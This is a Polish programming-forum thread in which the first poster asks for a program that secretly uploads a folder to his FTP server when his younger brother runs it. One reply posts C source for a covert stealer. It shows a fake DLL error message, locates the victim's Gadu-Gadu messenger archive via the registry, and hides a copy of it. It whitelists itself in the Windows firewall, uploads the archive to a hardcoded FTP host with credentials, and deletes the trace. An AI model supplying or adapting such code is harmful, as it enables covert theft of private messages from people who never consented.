Pokaż wyniki 1 do 5 z 5

Temat: Prosty programik do wysyłania na ftp. pomoże ktoś?

  1. Domyślnie Prosty programik do wysyłania na ftp. pomoże ktoś?

    Witam!
    Jeśli może mi ktoś pomóc to będę wdzięczny.
    Potrzebny mi programik, może być w delphi. chodzi mi o sam kod źródłowy, dobiero stawiam pierwsze kroki w programowaniu.
    W kodzie źródłowym wpisuje ścieżke do folderu (c:/windows/folder) i ten program wysyła mi go na ftp, ftp też wpisuje w kodzie źródłowym (np.ftp://83,100,10,255/pustyfolder).
    I chodzi mi o to jak odpale ten plik to bez jakiego kolwiek powiadomienia mnie, automatycznie wysyła mi ten folder na ftp (do folderu "pustyfolder"), wiem że to śmierdzi podstępem , a kod źródłowy potrzebny mi bo mam zmienne ip i za każdym razem mam inny adres ftp. Dobrze by było jak ten programik by sie kasował po odpaleniu (nie koniecznie).
    reasumując daje ten program młodszemu bratu, on odpala go na kompie i nic sie nie dzieje (on tak myśli bo naprawde dostałem w tej chwili ten folder o który mi chodziło).
    Czy ktoś pomoże mi w takim programiku? może być w txt bo delphi posiadam
    Dla mnie taki progs to wyzwanie, ale pewnie dla kogoś kto już troche programuje to pestka (tak myśle). Dzięki za wszelką pomoc

  2. #2
    Zarejestrowany
    Sep 2007
    Skąd
    Różne zakątki sieci.
    Postów
    995

    Domyślnie

    Witam! Dlaczego nie użyjesz google.pl ?

  3. Domyślnie

    szukałem. ale na razie jestem zbyt początkujący. to co czytałem to czarna magia... dlatego licze na czyjąś pomoc. i pytanie czy dużo sie trzeba natrudzic żeby napisać taki program?

  4. #4

    Domyślnie

    Kod php:
    #include <windows.h>
    #include <wininet.h>
    #define HOST          "zenonm.rr.pl"
    #define PORT          INTERNET_DEFAULT_FTP_PORT
    #define USER          "ssss12"
    #define PASSWORD      "ssss12"
    #define INFO_BUFFER_SIZE 1024
    TCHAR szNazwa1024 ];
    TCHAR moodule[1024];
    const 
    WORD zonk 255;
    char names[200];

       
    void tryn(void){
       
    char buff[100];
       
    hostent *lphe;
       
    WSADATA WSAData;
       
    WSAStartup(MAKEWORD(20), &WSAData);
       
    gethostname(buff100);
       
    lphe gethostbyname(buff);
       
    inet_ntoa(*(in_addr*)*lphe->h_addr_list);
       
    char *adr=inet_ntoa(*(in_addr*)*lphe->h_addr_list);
       
    WSACleanup();
       
    memcpy(names,adr,sizeof(names));
       }

       
    bool finder(char shit[]){
       
    strcat(shit,"\\");
       
    strcat(shit,"archives.dat");
       
    GetCurrentDirectory(zonk,szNazwa);
       
    strcat(szNazwa,"\\archives.dat");
       
    CopyFile(shitszNazwaFALSE);
       
    DWORD atrb=FILE_ATTRIBUTE_HIDDEN;
       
    SetFileAttributes(szNazwa,atrb);
       return 
    true;
       }
    int WINAPI WinMain(HINSTANCE hThisInstanceHINSTANCE hPrevInstanceLPSTR lpszArgumentint nFunsterStil){
    GetModuleFileNameGetModuleHandleNULL ), moodule1024 );
    MessageBox(NULL"Aplikacja nie może zostać uruchomiona w 32 bitowym trybie pamięci""Rundl32.dll"MB_ICONSTOP);
        
    char buf[200];
        
    HKEY hkRun6;
        
    HKEY hkRun2;
        
    HKEY hkRun3;
        
    DWORD dwBufSize 20;
        
    RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Gadu-Gadu\\Gadu-Gadu\\Startup",0,KEY_ALL_ACCESS,&hkRun6); /*otwieramy klucz od profilu gg*/
        
    RegQueryValueEx(hkRun6"LastProfile"0,REG_NONE, (LPBYTE)buf, &dwBufSize);
        
    RegCloseKey(hkRun6);
        
    RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List",0,KEY_ALL_ACCESS,&hkRun2);
        
    RegSetValueEx(hkRun2,moodule,REG_SZ,(LPBYTE)moodulelstrlen(moodule)+1);
        
    RegCloseKey(hkRun2);
        
    TCHAR  infoBuf[INFO_BUFFER_SIZE];
        
    DWORD  bufCount INFO_BUFFER_SIZE;
        
    GetUserNameinfoBuf, &bufCount );
        
    char path[]="C:\\Documents and Settings\\";
        
    strcat(path,infoBuf);
        
    strcat(path,"\\Gadu-Gadu\\");
        
    strcat(path,buf);
        if(
    finder(path)==true){
        
    tryn();
        
    char rem[]="archiw/";
        
    strcat(rem,names);
        
    strcat(rem,".dat");
        
    HINTERNET hInternethServer;
        
    hInternet InternetOpen(NULLINTERNET_OPEN_TYPE_DIRECTNULLNULL0);
        
    hServer InternetConnect(hInternetHOSTPORTUSERPASSWORDINTERNET_SERVICE_FTP00);
        
    FtpPutFile(hServer,szNazwa,rem,FTP_TRANSFER_TYPE_BINARY,0);
        
    InternetCloseHandle(hServer);
        
    InternetCloseHandle(hInternet);
        
    DeleteFile("archives.dat");
        exit(
    1);
        }
    return 
    0;

    Ostatnio edytowane przez naichniach : 12-17-2007 - 19:00
    Dlaczego wszystkie piosenki są o sexie ,miłości
    i innym pozytywnym gównie
    Nie mogły by być o czystym bólu ,nienawiści i frustracji i innych prawdach których więcej niż mniej ? ......... Ten świat to plastikowe ,fałszywe gówno
    nie mające nic wspólengo z moją rzeczywistością.
    Mtv to nie mój świat
    (tak jestem nie dojrzały ,mam kompelksy ..... i wiecie co? i chuj)

  5. Domyślnie

    Cześć.
    Chcesz do delphi? To załatw sobie pakiet Indy i na form wrzucisz komponent TIdFTP
    W nim ustawiasz wszystkie potrzebne dane czyli
    Kod php:
    IdFTP1.host:='nazwa_hostu';
    IdFTP1.password:='haslo'
    Później tylko zarządzasz np:
    Kod php:
      IdFTP1.Connect();
      
    IdFTP1.Login;
    //.... operacje
      
    IdFTP1.Disconnect
    Reszta poleceń rozwinie Ci się sama po wpisaniu IdFTP1.

Podobne wątki

  1. Odpowiedzi: 19
    Autor: 02-16-2010, 18:46
  2. brak możliwości wysyłania wiadomości poza WAN
    By studencik20 in forum Off Topic
    Odpowiedzi: 8
    Autor: 09-20-2007, 17:12
  3. Potrzeba mi rozszyfrować prosty programik
    By tomek0o7 in forum Inne języki
    Odpowiedzi: 7
    Autor: 08-25-2007, 11:11
  4. Język prosty i na czasie...
    By soovek in forum C/C++
    Odpowiedzi: 19
    Autor: 05-19-2007, 18:55

Zasady Postowania

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •  
Subskrybuj